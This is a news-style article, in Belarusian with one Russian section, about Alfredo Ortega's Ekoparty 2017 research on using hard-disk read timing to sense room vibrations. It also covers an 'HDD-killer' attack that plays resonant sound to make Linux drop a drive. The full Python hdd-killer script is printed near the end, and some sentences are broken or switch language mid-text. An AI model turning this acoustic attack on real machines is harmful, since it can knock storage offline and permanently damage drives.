
На канферэнцыі па кампутарнай бяспецы Ekoparty 2017 у Буэнас-Айрэсе аргентынскі хакер Альфрэда Артэга (Alfredo Ortega) паказаў вельмі цікавую распрацоўку — сістэму ўтоенага праслухоўвання памяшканняў без выкарыстання мікрафона. Гук !
HDD ўлоўлівае, у асноўным, нізкачашчынныя гукі высокай інтэнсіўнасці, крокі і іншыя вібрацыі. Чалавечую гаворку распазнаць пакуль нельга, хаця навукоўцы (распазнанне прамовы па нізкачашчынным вібрацыям, якія здымаюцца, напрыклад, з гіраскопа ці HDD).
Гук - гэта ваганні паветра або іншага асяроддзя. Чалавек успрымае іх праз барабанную перапонку, якая перадае ваганні ва ўнутранае вуха. Мікрафон уладкованы прыкладна як вуха - тут таксама ваганні рэгіструюцца тонкай мембранай, якая ўзбуджае электрычны імпульс. Цвёрдая кружэлка, зразумела, таксама схільны мікраскапічным вібрацыям з-за ваганняў навакольнага паветра. Гэта вядома нават па тэхнічных характарыстыках HDD: вытворцы звычайна паказваюць максімальна дапушчальны ўзровень вібрацый, а сама цвёрдая кружэлка часта імкнуцца змясціць у абаронены ад вібрацый кантэйнер з гумы ці іншага ізаляцыйнага матэрыялу. З гэтага лёгка зрабіць выснову, што з дапамогай HDD можна рэгістраваць гукі. Засталося толькі прыдумаць, як.
Альфрэда Артэга прапанаваў своеасаблівы варыянт нападу па іншых каналах (side-channel attack), а менавіта напады па часе. Гэтая атака заснавана на здагадцы, што розныя аперацыі выконваюцца ў прыладзе за розны час, у залежнасці ад пададзеных уваходных дадзеных. У дадзеным выпадку «ўваходнымі дадзенымі» з'яўляюцца ваганні счытвальнай галоўкі і пласціны HDD, якія карэлююць з вібрацыямі асяроддзя, гэта значыць са гукам. Такім чынам, вымяраючы час вылічэнняў і праводзячы статыстычны аналіз дадзеных, можна вымераць ваганні галоўкі/пласціны і, такім чынам, вібрацыі асяроддзя. Чым больш затрымка ў счытванні дадзеных – тым мацней ваганні HDD і, значыць, тым гучней гук.
Як вымераць ваганні жорсткага дыска? Вельмі проста: дастаткова ўсяго толькі запусціць сістэмны выклік read () - І зарэгістраваць час, за які ён выконваецца. Сучасныя аперацыйныя сістэмы дазваляюць счытваць таймінг сістэмных выклікаў з дакладнасцю да нанасекунды.
Хуткасць чытання інфармацыі з сектара залежыць ад становішча галоўкі і пласціны, якое карэлюе з вібрацыямі корпуса HDD. Вось і ўсё.
Статыстычны аналіз ажыццяўляецца з дапамогай прасценькай утыліты Kscope. Як гаворыцца, усё геніяльнае проста.

Утыліта Kscope (stat () syscall)
Kscope – маленькая ўтыліта для візуалізацыі маленечкіх адрозненняў у часе выканання сістэмных выклікаў. Зыходны код.
У асобным рэпазітары ляжыць версія ўтыліты, настроеная на атаку па часе на цвёрдую кружэлку, гэта значыць настроеная на аналіз сістэмнага выкліку read ().
Дэманстрацыя гуказапісу з дапамогай HDD, праца ўтыліты Kscope

Вядома ж, прамова нельга разабраць такім спосабам, але ў якасці датчыка вібрацый HDD суцэль спатрэбіцца. Напрыклад, вы можаце рэгістраваць, калі ў памяшканне з кампутарам зайшоў чалавек у цвёрдым абутку або басанож (верагодна, калі зламыснік абуты ў мяккія красоўкі або на падлозе пасцелены тоўсты дыван, то HDD не зможа зарэгістраваць вібрацыі - гэта варта праверыць). Кампутар здольны зарэгістраваць пабітае шкло ці іншае здарэнне з моцнай інтэнсіўнасцю гуку. Гэта значыць, жорсткі дыск можа выконваць ролю своеасаблівай сістэмы выяўлення несанкцыянаваных пранікненняў.
HDD-кілер
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

ядро Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из з дэманстрацыяй працы HDD-кілера
Цікаўна, што такія "напады" на HDD часам адбываюцца зусім выпадкова ў звычайным жыцці. Напрыклад, у верасні 2016 года дата-цэнтр ING Bank быў вымушаны прыпыніць працу на 10 гадзін пасля пажарных вучэнняў. з-за гучнага гуку інэртнага газу, які выпускаецца з балонаў пад вялікім ціскам. Гук быў вельмі гучным (больш за 130 дб), хоць нават крычаць на жорсткія дыскі нельга – гэта павялічвае затрымку доступу да HDD.
Дэманстрацыя чалавечага крыку на жорсткія дыскі ў дата-цэнтры. Вымярэнне затрымкі

Для генерацыі рэзаніруючага гуку Альфрэда Артэга напісаў пітонаўскі скрыпт пад назвай ().
зусім невялікі, так што можна яго цалкам апублікаваць тут.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Крыніца: habr.com
